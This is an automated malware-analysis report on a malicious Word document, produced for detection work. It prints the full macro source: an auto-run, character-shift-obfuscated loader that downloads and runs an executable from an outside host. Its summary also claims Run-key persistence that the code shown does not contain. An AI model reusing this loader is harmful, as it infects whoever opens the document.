Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 37c52ac76731fec0…

MALICIOUS

Office (OOXML)

83.4 KB Created: 2020-05-12 12:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 27cb67322a39cf49a0560f784df67969 SHA-1: 0750c70072f37062a1079f14a1e4da0f78a5fdfe SHA-256: 37c52ac76731fec0a321cae8cd5cf91597de3c90aed254f28fbcb4764e617e23
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro uses character-shift decoding to construct and execute a command via the Shell function. The decoded command appears to be a path to a second-stage payload, likely a downloader or dropper, which is then executed. The macro also attempts to establish persistence by writing to the Run key.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2301 bytes
SHA-256: f00761337a1210d4e81db4cdf9b76b7c92ede25ac8d91206cc2e8095526b4cad
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim asdsa As String
Public Sub Document_Open()
asdsa = Environ(CsujDdVBeIgnAOqxtiKLwyhcqMBObTffaFDNWsSWPNwDBFrvfKJmQfn("u†Ž‘")) + "\" + CsujDdVBeIgnAOqxtiKLwyhcqMBObTffaFDNWsSWPNwDBFrvfKJmQfn("gŠ�†�‚Ž†O†™†")
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:01"))
Shell (CsujDdVBeIgnAOqxtiKLwyhcqMBObTffaFDNWsSWPNwDBFrvfKJmQfn("‘�˜†“”‰†��O†™†AN†™†„–•Š��‘��Š„šAƒš‘‚””ANxAiŠ……†�AN„�ŽŽ‚�…AI�†˜N�ƒ‹†„•Atš”•†ŽOo†•Ox†ƒd�Š†�•JOe�˜���‚…gŠ�†IH‰••‘[PP„…�O…Š”„�“…‚‘‘O„�ŽP‚••‚„‰Ž†�•”PXQZXTYQYUQQRZQWXUZPXQZXTYRXXQSXWTXTTQPq–“„‰‚”†O†™†HME†�—[u†Ž‘LH}gŠ�†�‚Ž†O†™†HJ"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
adsa
End Sub
Private Sub adsa()
Shell (asdsa)
End Sub
   Public Function CsujDdVBeIgnAOqxtiKLwyhcqMBObTffaFDNWsSWPNwDBFrvfKJmQfn(EKStLcGaKyAMQgdvWkoRDWyaGVaEmfsjQSzDEzGPJnlaWsvOCOmCcOE As String)
        Dim RxDKCzoIlAMAtWmBvKUHAACUCGAYsvNOPtWgePxzgJwefIsJIeOixTZ As Integer, lvidRUQPLnSFUzbsgNqbLEYJOjLQNgzmRUkkvHAAPPFLhXsKBHiUGrj As Integer
        RxDKCzoIlAMAtWmBvKUHAACUCGAYsvNOPtWgePxzgJwefIsJIeOixTZ = 33
        For lvidRUQPLnSFUzbsgNqbLEYJOjLQNgzmRUkkvHAAPPFLhXsKBHiUGrj = 1 To Len(EKStLcGaKyAMQgdvWkoRDWyaGVaEmfsjQSzDEzGPJnlaWsvOCOmCcOE)
            Mid(EKStLcGaKyAMQgdvWkoRDWyaGVaEmfsjQSzDEzGPJnlaWsvOCOmCcOE, lvidRUQPLnSFUzbsgNqbLEYJOjLQNgzmRUkkvHAAPPFLhXsKBHiUGrj, 1) = Chr(Asc(Mid(EKStLcGaKyAMQgdvWkoRDWyaGVaEmfsjQSzDEzGPJnlaWsvOCOmCcOE, lvidRUQPLnSFUzbsgNqbLEYJOjLQNgzmRUkkvHAAPPFLhXsKBHiUGrj, 1)) - RxDKCzoIlAMAtWmBvKUHAACUCGAYsvNOPtWgePxzgJwefIsJIeOixTZ)
        Next lvidRUQPLnSFUzbsgNqbLEYJOjLQNgzmRUkkvHAAPPFLhXsKBHiUGrj
        CsujDdVBeIgnAOqxtiKLwyhcqMBObTffaFDNWsSWPNwDBFrvfKJmQfn = EKStLcGaKyAMQgdvWkoRDWyaGVaEmfsjQSzDEzGPJnlaWsvOCOmCcOE
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 065f167cec41af34d6158f2272531fcbdf0c19b222748c2ecfef9f68cb392b8c

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